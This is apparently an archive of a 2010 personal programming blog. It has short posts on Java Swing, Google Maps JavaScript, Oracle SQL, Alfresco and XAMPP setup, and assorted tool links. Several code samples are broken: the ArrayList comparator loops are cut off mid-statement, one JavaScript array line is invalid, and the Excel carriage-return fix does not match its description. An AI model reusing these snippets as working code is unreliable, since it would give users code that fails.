For now I use iBatis, but keeping my eyes on Hibernate3, by the way, you can always use iBatis to have a fast start, and move to hibernate on late stages if you want, iBatis provide special DAO framework for that.

Learn both, use both, and if you don't have time learn and use iBatis, you won't regret it.

brilliant web app for capturing screenshots

2010-10-22T05:43:00.000-07:00

Here's a brilliant web app for capturing screenshots of web pages http://bounceapp.com/

Cheers!!

Ujjwal Soni

Excellent Applet

2010-10-20T01:55:00.000-07:00

Hi,

Check this out for some excellent applet creations..

http://lar5.com/cube/examples.html

Cheers,

Ujjwal Soni

working set in myeclipse / eclipse

2010-10-20T00:28:00.000-07:00

You can assign one or several projects to a working set. The advantage of the working set: If you work on many projects, you do not display all project in the package explorer.

Working sets are a concept derived to help the developer categorize resources across projects into a contextually relevant representation. At its core, working sets are simply, as their name suggests, a sub-set of files/classes/folders/projects that represent a certain developer workflow.

Developers have a lot of options when dealing with working sets.

Choose the button New...

Choose the working set type.

Set a name for the working set and assign the projects.

The package explorer shows the selected working set with the assigned projects.

On the drop down menu you can see which working set is activated. You can deselect the working set with the option Deselect Working Set.

Installing Ubuntu inside Windows using VirtualBox

2010-10-20T00:14:00.000-07:00

Hi,

Here's a nice article on intalling ubuntu linux under windows as virtual machine and it really works great...

Check below link :::

http://www.psychocats.net/ubuntu/virtualbox

Java satellite tracker

2010-10-18T03:07:00.000-07:00

Hi,

JSatTrak is a Satellite tracking program written in Java. It allows you to predict the position of any satellite in real time or in the past or future. It uses advanced SGP4/SDP4 algorithms developed by NASA/NORAD or customizable high precision solvers to propagate satellite orbits. The program also allows for easy updating of current satellite tracking data via CelesTrak.com. Because this application was written in Java, it should run on almost any operating system or directly off the web using java web start!

http://www.gano.name/shawn/JSatTrak/

Cheers!!!

Ujjwal Soni

SCEA Exam officialy renamed to Oracle Certified Master, Java EE 5 Enterprise Architect

2010-09-22T21:54:00.000-07:00

Hi,

SCEA Exam officialy renamed to Oracle Certified Master, Java EE 5 Enterprise Architect

http://in.sun.com/training/certification/java/scea.xml

Cheers,

Ujjwal Soni

Centering a swing window on screen

2010-09-22T21:51:00.000-07:00

In swing or AWT, if you initialize a frame or window by default its position start from the top left corner of screen. Some time it looks odd as we are intended to see the window/frame at center of screen.
To make a window centered, we all need to set the location of window to center with respect to screen size.
There are following steps to make a window centered.
1. Get the screen size
2. Set the window/frame location by calculating it with screen size and frame size.
See the following example.
centerOnScreen Method provide the functionality to make a window centered.

import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.Toolkit;
import java.awt.Window;
import javax.swing.JFrame;
import javax.swing.JLabel;
/**
*
* @author ujjwal soni

*/
public class CenteredFrameExample {
JFrame frame;
JLabel label;
public CenteredFrameExample() {
frame = new JFrame("Centered JFrame.");
label = new JLabel();
frame.setSize(250, 150);
frame.setPreferredSize(new Dimension(250, 150));
frame.getContentPane().add(BorderLayout.CENTER, label);
centerOnScreen(frame);
frame.setVisible(true);
frame.pack();
}
public static void main(String args[]) {
CenteredFrameExample centeredFrame = new CenteredFrameExample();
String text = "This is the centered frame...

"; centeredFrame.label.setText(text); } /** * Centers a window on screen. * * @param w The window to center. */ public void centerOnScreen(Window w) { Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); w.setLocation(screenSize.width / 2 - (w.getWidth() / 2), screenSize.height / 2 - (w.getHeight() / 2)); } }

Thats all for now....

Cheers!!!

Ujjwal Soni

The Divine Algorithm

2010-09-19T23:56:00.000-07:00

We can create worlds out of CAD.. Even the GOD does so.. I wonder if there is SOMEBODY who has a VERY DYNAMIC SOFTWARE with perfect blends, textures and curves.. & we r all programmed by him involoving matrix multiplications, complex calculations & a lot more things which only HE understands..

The part of HIS program which we understand, we call it SCIENCE..
& the one which is beyond the scope of SCIENCE, it is called RELIGION..

MAN=(UNDERSTOOD PROGRAM)?GOD:MAN;

10 Best JQuery Plugin for web design & development

2010-09-14T04:36:00.000-07:00

Hi,

Here are some more JQuery plugins which i’ve recently collected & compiled for you. Hope you’ll like it & use in you web design & devlopment works.

Details: http://www.viewsboard.com/index.php/dboard/viewthread/8/83

Cheers,

Ujjwal Soni

Rebroadcast WIFI as your own network, FROM YOUR LAPTOP

2010-09-13T05:42:00.000-07:00

Hi,

This is an amazing software that allows you to rebroadcast WIFI as your own network from your laptop.

Check it out.

http://www.connectify.me/

Its very easy to setup and run. I tried this running on windows 7 and it all run well. :)

Cheers!!!

Ujjwal Soni

Android-Notifier-Desktop

2010-09-13T04:34:00.000-07:00

Hi,
I found really a great tool useful for phones based on Andriod. If you don't want to deal with your phone while you're at your computer, free app Android Notifier will send all your phone's call, SMS, and battery notifications to your desktop. Check out below link for more details.

Android-Notifier-Desktop

Cheers!!!

Ujjwal Soni

Create a Portable Version of Just About Any Program

2010-09-13T04:28:00.000-07:00

Hi,

If you're a big fan of portable applicatons, but there isn't a portable version of your favorite app out there, free app Cameyo will create one for you.

Cameyo is a free download for Windows only.

I tried it and it works really great..

Cameyo [via Freeware Genius]

Cheers!!!

Ujjwal Soni

Message: Not Implemented (Annoying Javascript Error)

2010-07-05T05:59:00.000-07:00

Hello Everyone,

Recently i was doing some development stuff on Google maps API. After i finished my integration of google maps and google street view API with my application, during testing, i found an annoying Message: Not Implemented error message and the line number to which it was pointing was 1 and was senseless. I did'nt get this error on other browsers like Chrome & Firefox. This error was specific to internet explorer only (Why the hell they keep javascript's different for different browser's god knows !!!). Well, so i did some research and ultimately found a solution.

The error was in one of my javascript's onload function.

In my buggy code it was something like below ::

body.onload=loadMap();

I removed those open close parenthesis and my error got vanished.

body.onload=loadMap;

Internet explorer was really pointing to a strange line number to which you can never imagine this sort of error.

Anyways, thank god to internet explorer 8 javascript debugger which really helped me in finding the correct issue.

Cheers,

Ujjwal Soni

Google Street View availability validation

2010-07-01T02:55:00.000-07:00

Hi,

Yesterday, i was working on street view google maps api, i faced an issue on validating some addresses as well as some latitude longitude data for street view. As street view is avaiable only for some locations, some addresses were showing as blank on street view. I managed to validate that via code mentioned below.

function showStreetViewGoogleMaps()
{

var svClient = new GStreetviewClient();

   svClient.getNearestPanoramaLatLng(point, function (nearest) {
   if ((nearest !== null) && (point.distanceFrom(nearest) <= 100)) {
     alert('Street view available');
   }
   else {
   alert('Street view not available'); // Not within 100 meters
   }
   });

}

This is how i managed to validate street view for google maps.

Cheers!!!

Ujjwal Soni

Problem running Apache 2.2 with XAMPP

2010-06-24T01:24:00.000-07:00

Hi,

Today i was installing XAMPP on windows 7 desktop. Well, the installation gone perfectly well. Finally, i was able to access XAMPP control panel, but, the moment i started apache 2.2, it failed. Then i installed it as a service and then started, but it was still in vain.

Later on, i changed C:\xampp\apache\conf\httpd.conf file contents as below

Listen 80

to

Listen 81

and then restarted the service, finally it worked.

The reason why i changed the port is because i later on found that skype also listens to the same port which was a default port for Apache 2.2

Now Predict through Google Search (funny)

2010-06-22T23:04:00.000-07:00

Generating Serial Numbers from Database

2010-06-22T06:25:00.000-07:00

Hi,

Recently, in one of my e-commerce applications, there was a need for generating a unique serial number. I tried for all possibilities from java code but some one suggested to do this from backend. I tried for below mentioned way and it worked finally.

CREATE TYPE ARRAY AS TABLE OF VARCHAR2(10)
/

CREATE FUNCTION MY_NUMBERS(N IN NUMBER DEFAULT NULL)
RETURN ARRAY
PIPELINED
AS
BEGIN
FOR j IN 1 .. NVL(N,10)
LOOP
PIPE ROW('ACUPRO'||lpad(j,5,0));
END LOOP;
RETURN;
END;
/

select * from TABLE(MY_NUMBERS(3));

COLUMN_VAL
----------
ACUPRO00001
ACUPRO00002
ACUPRO00003

Regards,

Ujjwal Soni

Porting Java

2010-06-11T05:18:00.000-07:00

Love it or hate it, one of the great things about Java is its portability. It abstracts out many of the platform-specific things so that you, the programmer, need not worry about things like file systems and how to create directories and the like. Not a big deal, he thought, that's what Java was built for ...

public static MultipartRequest createMultipartRequest (HttpServletRequest req) 
  throws IOException
{
   [SNIP]

   // Create a temp directory for the attachments
   Runtime.getRuntime().exec ("mkdir -p " + Constants.UPLOAD_PATH);

   File check = new File (Constants.UPLOAD_PATH);

   [SNIP]

}

Update on Alfresco Installation on Windows 7

2010-06-10T04:06:00.000-07:00

Hello Everyone,

I finally managed to run Alfresco on my Windows 7 desktop.

I edited some lines in alfresco-global.properties located under C:\Alfresco\tomcat\shared\classes. This is a global file used for configuration of email/database etc for Alfresco Server.

I was using mysql database for Alfresco, so my DB hostname entry in this file was

db.name=alfresco
db.username=alfresco
db.password=alfresco
db.host=localhost
db.port=3306

i changed it to

db.name=alfresco
db.username=alfresco
db.password=alfresco
db.host=127.0.0.1
db.port=3306

and my server got up and running.

Cheers!!!

Ujjwal Soni

Installing Alfresco on Windows 7

2010-06-10T03:51:00.000-07:00

Hi All,

I am installing Alfresco-Community-3.3-Full version on my windows-7 desktop. After successful installation, when i am trying to run Alfresco Server. I get below error. I tried for many sources, but still i am not able to find any solution. I am still working for a solution to this problem. Hopefully, will post a solution to this problem soon.

INFO: The listener "org.apache.myfaces.webapp.StartupServletContextListener" is already configured for this context. The duplicate definition has been ignored.
16:10:56,353 INFO [alfresco.config.JndiPropertiesFactoryBean] Loading properties file from class path resource [alfresco/repository.properties]
16:10:56,383 INFO [alfresco.config.JndiPropertiesFactoryBean] Loading properties file from class path resource [alfresco/domain/transaction.properties]
16:10:56,414 INFO [alfresco.config.JndiPropertiesFactoryBean] Loading properties file from URL [file:/C:/Alfresco/tomcat/shared/classes/alfresco-global.properties]
16:10:56,588 INFO [alfresco.config.JndiPropertyPlaceholderConfigurer] Loading properties file from class path resource [alfresco/alfresco-shared.properties]
16:11:07,845 WARN [hibernate.cfg.SettingsFactory] Could not obtain connection metadata
org.apache.commons.dbcp.SQLNestedException: Cannot create PoolableConnectionFactory (Communications link failure

Last packet sent to the server was 0 ms ago.)
        at org.apache.commons.dbcp.BasicDataSource.createDataSource(BasicDataSource.java:1225)
        at org.apache.commons.dbcp.BasicDataSource.getConnection(BasicDataSource.java:880)
        at org.springframework.orm.hibernate3.LocalDataSourceConnectionProvider.getConnection(LocalDataSourceConnectionProvider.java:81)
        at org.hibernate.cfg.SettingsFactory.buildSettings(SettingsFactory.java:84)
        at org.hibernate.cfg.Configuration.buildSettings(Configuration.java:2073)
        at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1298)

16:11:35,351 INFO [extensions.webscripts.TemplateProcessorRegistry] Registered template processor freemarker for extension ftl

Reason why i love using firefox brower

2010-06-03T03:47:00.000-07:00

Hello Everyone,

Here is another reason why do I love using firefox. Some of you guys may already know it. For those who don't know, here it is.

Open firefox browser. In the URL bar, type following

javadoc

and press enter. You will directly go to javadoc page for that class. e.g. javadoc HashMap will take you directly to online HashMap javadoc API. I was quite surprised and pleased to see this. Normally firefox takes you to the relative sites if you type something in the URL address bar. e.g. typing citibank and entering will take you to citibank homepage. But this little trick is good for java developers.

Regards,

Ujjwal Soni

Finally my car got delivered yesterday

2010-05-21T21:18:00.000-07:00

Hello Everyone,

Finally, yesterday..got my new car keys finally. And feeling really gr8. I will upload some pictures soon.

Cheers!!!

Ujjwal Soni

Web Operating Systems

2010-05-21T21:14:00.000-07:00

Hello Everyone,

Last week, i was having a bit research on Web OS's. WebOS gained popularity in 1999 when a much touted start up.”WebOS are services going to be utilized by thousands of companies – and will power the next generation of web applications?”

The following is a list of the most great webOS style system.Enjoy!

* Eye OS

eyeOS was thought as a new definition of Operating System, where everything inside it can be accessed from everywhere in a Network, using a web browser. eyeOS does provide a solid and stable platform to develop new applications to fit every company and school needs.

http://eyeos.com/

* Fenestela

Fenestela is an operating system for WEB space with a simple and convivial graphic interface. Code your Web pages, your programs, and save your files on line. Share with your friends your photographs, family movies, office documents and more…

http://www.fenestela.com/

However, there's long list of these Os's coming up on the way and also many new ones are coming up.

Google Maps API used to map multiple locations.

2010-03-26T04:04:00.000-07:00

Hi,

I was recently working on a project where i need to fetch multiple locations used google maps API. I searched a lot and tried many examples but was'nt able to find any appropriate, finally i gone through the documentation of google maps API. I found the solution

Below is the list where i stored all my addresses

var addresses =new Array();

addresses[] = '';

Here's my onload function

function load() {
   if (GBrowserIsCompatible()) {
   map = new GMap2(document.getElementById("map_canvas"));
   map.setCenter(new GLatLng(10, -180), 13);
   map.addControl(new GLargeMapControl());
   map.addControl(new GMapTypeControl());

   geocoder = new GClientGeocoder();

   GEvent.addListener(map, 'click', function(overlay, point) {
   if (point) {
   //document.getElementById("show_x").innerHTML = point.x;
   // document.getElementById("show_y").innerHTML = point.y;
   }
   });

   GEvent.addListener(map, 'zoomend',
   function(oldZoomLevel, newZoomLevel) {
   //document.getElementById("zoom_old").innerHTML = oldZoomLevel;
   //document.getElementById("zoom_new").innerHTML = newZoomLevel;
});

   }

showAddress();
   }

Here's my show address function

function showAddress() {
   //alert("address : " + addresses);
   convertToLatLng();
   }

Here's my convertToLatLng, this function is the core function i used for

var points = [];
   function convertToLatLng() {
   if (points.length >= addresses.length) {
   showPoints();
   } else {
   geocode(addresses[points.length]);
   }
   }

My geocode function

function geocode(address) {
//alert(address);
   geocoder.getLatLng(
   address,
   function(point) {

   if(!point)
   {

   }
   else
   {
   points.push(point);
   window.setTimeout(convertToLatLng, 300);
   map.setCenter(point, 13);
   //var marker = new GMarker(point);
   var letters=["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P", "Q","R","S","T","U","V","W","X","Y","Z"];

   var marker=createMarker(point, letters[points.length-1]);

   map.addOverlay(marker);
   //marker.openInfoWindowHtml(address + "
Long: " + point.x + "
Lati: " + point.y);
   //document.getElementById("show_x").innerHTML = point.x;
   //document.getElementById("show_y").innerHTML = point.y;
   //document.getElementById("zoom_new").innerHTML = 14;
   }
   }
   );
   }

My show points function, this function displays points for each location fetched from the database

function showPoints() {
   for (i in points) {
   var lat_lng = points[i];
   if (lat_lng) {
   var marker=createMarker(points[i], letters[i]);
map.addOverlay(marker);
   //map.addOverlay(new GMarker(lat_lng));
   }
   }
   }

I tweaked a bit and created alphabetical markers for the map as below

   function createMarker(point, letter) {
   // use a custom icon with letter A - Z

var letter = letter;
var myIcon = new GIcon(G_DEFAULT_ICON, "http://www.google.com/mapfiles/marker" + letter + ".png");
myIcon.printImage = "http://maps.google.com/mapfiles/marker"+letter+"ie.gif";
myIcon.mozPrintImage = "http://maps.google.com/mapfiles/marker"+letter+"ff.gif";
var CallSign = CallSign;
var marker = new GMarker(point, {icon:myIcon});
//GEvent.addListener(marker, "click", function()
//{
//
//// save the info we need to use later for the side_bar
//gmarkers.push(marker)
//// add a line to the side_bar html
//
//
//
//});
return marker;
}

This is how i did to display multiple locations on the map.

Cheers!!!

Ujjwal

Array List Sorting Issue

2010-03-26T03:53:00.000-07:00

Hi,

Recently, i was coding for an application and came across a problem where i need to sort an ArrayList in an alphabetical order. However, that sounded quite easy as because sorting can easy with single arraylist. But, i was in a situation where i had two different ArrayLists with multiple attributes. So, what i did is that i kept a delimeter to distinct all my 3 values and then i added them into a temporary list.

for(int j=0;j

{

myBean=(MyBean)myList.get(j);

tempList.add(myBean.getOne() + "*" + myBean.getTwo() + "*" + myBean.getThree());

}

then i used collection's sort method to sort them up in an alphabetical form.

Collections.sort(tempList,new MyComparator());

I used inner class called Mycomparator to compare.

class MyComparator implements Comparator {

public int compare(Object o1,

Object o2) {

String s1 = o1.toString().toUpperCase();

String s2 = o2.toString().toUpperCase();

int counter = 0;

for (counter=0;counter

!Character.isDigit(s1.charAt(counter));counter++);

String temp1 = s1.substring(counter);

s1 = s1.substring(0,counter);

for (counter=0;counter

!Character.isDigit(s2.charAt(counter));counter++);

String temp2 = s2.substring(counter);

s2 = s2.substring(0,counter);

int max = (temp1.length() > temp2.length()) ? temp1.length() : temp2.length();

char[] pad = new char[max-temp1.length()];

Arrays.fill(pad,(char)48);

temp1 = String.valueOf(pad) + temp1;

pad = new char[max-temp2.length()];

Arrays.fill(pad,(char)48);

temp2 = String.valueOf(pad) + temp2;

s1 = s1 + temp1;

s2 = s2 + temp2;

return(s1.compareTo(s2));

}

public boolean equals(Object o1,

Object o2) {

String s1 = o1.toString();

String s2 = o2.toString();

return(s1.equals(s2));

}

And finally,. the problem got resolved, i got my list ordered in alphabetical form.

Problems installing Myeclipse 8.0

2010-02-25T05:44:00.000-08:00

Hi,

Today, i was installing Myeclipse 8.0, i faced some issues while installing that. It showed below errors.

Pulse has been unable to create a plan for Myeclipse 8.0 latest. Pleace check details below etc etc...

Please provide a non pulse installation option.

Details
This profile can not be resolved because required software could not be located.
Could not locate installable unit: com.genuitec.myeclipse.matisse.feature.group [7.1.0,7.5.0)
Could not locate installable unit: com.genuitec.myeclipse.enterprise.workbench.feature.group [7.1.0,7.5.0)
Could not locate installable unit: com.genuitec.myeclipse.tapestry.feature.group [7.1.0,7.5.0)
Could not locate installable unit: com.genuitec.myeclipse.reports.feature.group [7.1.0,7.5.0)
Could not locate installable unit: com.genuitec.myeclipse.icefaces.feature.feature.group [7.1.0,7.5.0)
Checked update site http://download.eclipse.org/eclipse/updates/3.4 and found 1811 installable units.

Checked update site http://download.eclipse.org/releases/ganymede and found 3799 installable units.

Checked update site http://downloads2.poweredbypulse.com/downloads/products/pulse/client and found 116 installable units.

Checked update site http://downloads2.poweredbypulse.com/downloads/products/pulse/eclipse34 and found 1 installable units.

Checked update site http://downloads2.poweredbypulse.com/downloads/products/pulse/ganymede and found 104 installable units.

Checked update site http://downloads3.myeclipseide.com/downloads/products/eworkbench/ganymede-latest and found 816 installable units.

Checked update site http://downloads3.myeclipseide.com/downloads/products/eworkbench/ganymede-latest/supporting and found 20 installable units.

Checked update site http://downloads3.myeclipseide.com/downloads/products/eworkbench/jdks and found 6 installable units.

Checked update site http://www.poweredbypulse.com/installer/eclipse-base and found 2 installable units.

Checked update site http://www.poweredbypulse.com/pulse/download/live and found 1 installable units.

Well, later on i discovered that pulse explorer that is a part of my eclipse tried to download some updated from internet, since my machine was under a firewall it failed and showed abover errors. So, then as a solution for that, i downloaded and installed pulse explorer seperately and then ran my myeclipse setup again and this time, i got it successfully installed.

Regards,

Ujjwal Soni
.

10 Commandments for Java Developers

2010-01-31T00:46:00.000-08:00

1. Add comments to your code
2. Do not complicate things - Means don’t come up with complicated solution for simplest problems
3. Keep in Mind "Less is more" is not always better - Means when necessary write all required code
4. No hard coding please.
5. Do not invent your own frameworks. - use available superb frameworks like Struts,JSF or Spring
6. Say no to Print lines and String Concatenations
7. Pay attention to the GUI - Look and Feel always matters
8. Always Prepare Document Requirements
9. Unit-test. Unit-test. Unit-test - Always do unit test
10. Remember quality, not quantity.

Framework for cloud computing using java

2010-01-26T22:13:00.000-08:00

Hi,

Recently, i was searching for java based framework suitable for cloud computing and i suddenly came across grid gain.

GridGain is an ideal platform for Native Cloud Applications. GridGain provides developers with powerful and elegant technology to develop and run applications on private or public clouds.

GridGain is developed in Java and for Java developers and it is a natural extension of the latest Java development methodologies including annotations, integration of Spring and AOP-based grid-enabling.

For more details http://www.gridgain.com/

Getting square block characters when carriage return used in MS Excel 2003

2010-01-22T03:49:00.000-08:00

Hi,

Recently i was facing a strange issue with JXL API for excel sheet generation using JAVA, the data entry screen was fine but when i was generating reports, i got some strange characters at each carriage return. This issue only happened in MS Excel 2003, this worked fine in other office versions.

Actually this issue only appeared in some European countries, worked fine in Asia.

So, i tried replaceAll method to replace this character with blank spaces like this ::

reportValue.replaceAll("[\\r\\n]", "");

This worked fine but it removed all my carriage returns too..

So, i tried below code which removed that square block character and restored my keystrokes.

reportValue..replace('\r',' ').replace('\'',' ');

This worked absolutely fine in All office versions and all countries for both europe and asia.

Cheers,

Ujjwal Soni

Open Source Caching Solutions for Java

2010-01-18T23:45:00.000-08:00

Hi,

Here's some open source caching solutions for Java ::

http://java-source.net/open-source/cache-solutions

what is 'is a' and 'has a' relationship:

2010-01-14T08:40:00.000-08:00

The is a relationship is expressed with inheritance and has a relationship is expressed with composition.

Both inheritance and composition allow you to place sub-objects inside your new class. Two of the main techniques for code reuse are class inheritance and object composition.
e.g.,
is a --- House is a Building
class Building {
.......
}

class House extends Building {

.........

}

has a -- House has a bathroom

class House
{
  Bathroom room = new Bathroom() ;
  ....
  public void getTotMirrors()
  {
    room.getNoMirrors();
    ....
   }
 }

Inheritance Vs Composition

Inheritance is uni-directional. For example House is a Building. But Building is not a House. Inheritance uses

extends key word. Composition: is used when House has a Bathroom. It is incorrect to say House is a Bathroom.

Composition simply means using instance variables that refer to other objects. The class House will have an instance variable,

which refers to a Bathroom object.

Article taken from Oracle Magazine march 2008 issue

Some Ways To JBoss Performance Tuning

2009-12-31T10:11:00.001-08:00

I found this great article written by F.Marchioni at his website. You can read detailed article at his website by clicking here. This is my all time favorite reference for tuning up my JBoss.

I am just providing just a gist of what he is saying regarding the JBoss Performance Tuning.

1. Tune the garbage collector
2. Set -xms and -xmx to the same value
3. Use server vm
4. Turn off distributed garbage collection
5. Turn on parallel garbage collection
6. Don’t use huge heaps, use a cluster
7. Don’t choose an heap larger then 70% of your os memory
8. Tune the heap ratio
9. Monitor the free memory with monitors and snapshots
10. Tune the operating system
11. Lots of requests ? Check jboss thread pool
12. Check the embedded web container
13. Turn off jsp compilation in production
14. lots of ejb requests ? Switch to the poolinvoker
15. Have you got readonly entity beans ? Tell it to jboss
16. Disable the hot deployer in production
17. Configure the ejb container to use cache, when possible.
18. Use cache invalidation in a cluster for commit option a
19. Synchronize at commit time when possible.
20. Use prepared statement cache
21. Remove services you don’t need
22. Tell log4j to shut up !

“Internet Explorer Cannot Download” Error Message When You Use HTTPS URL

2009-12-31T10:04:00.000-08:00

Internet Explorer will not display attachments when HTTPS is used. This bug has been documented in the link below.

http://support.microsoft.com/kb/812935/

If the development environment is not using HTTPS this issue will be
identified only at a later stage when we move on to integration testing
environment where we normally use HTTPS.

The following are the steps to be followed for the workaround.

1. In the Servlet code please use the below snippet.

1response.reset();
2//If the report type is other than PDF handle accordingly]
3response.setContentType("application/pdf");
4response.setHeader("Content-Disposition","attachment; filename=Report.pdf");
5 
6//pragma can be set to other available options also.
7response.setHeader("Pragma", "public");
8response.setHeader("Cache-control", "max-age=30");
9//The logic to write into the OutputStream goes here.

Note: The reset of HttpServletResponse is very important.

Following are to be ensured on the browser (client).

1. Ensure Do not save encrypted pages to disk check box is not selected in Internet Explorer.

2. Incase of IE 7, ensure the automatic prompting for downloads is enabled
under Tools–>Internet Options–>Custom Level –> Downloads.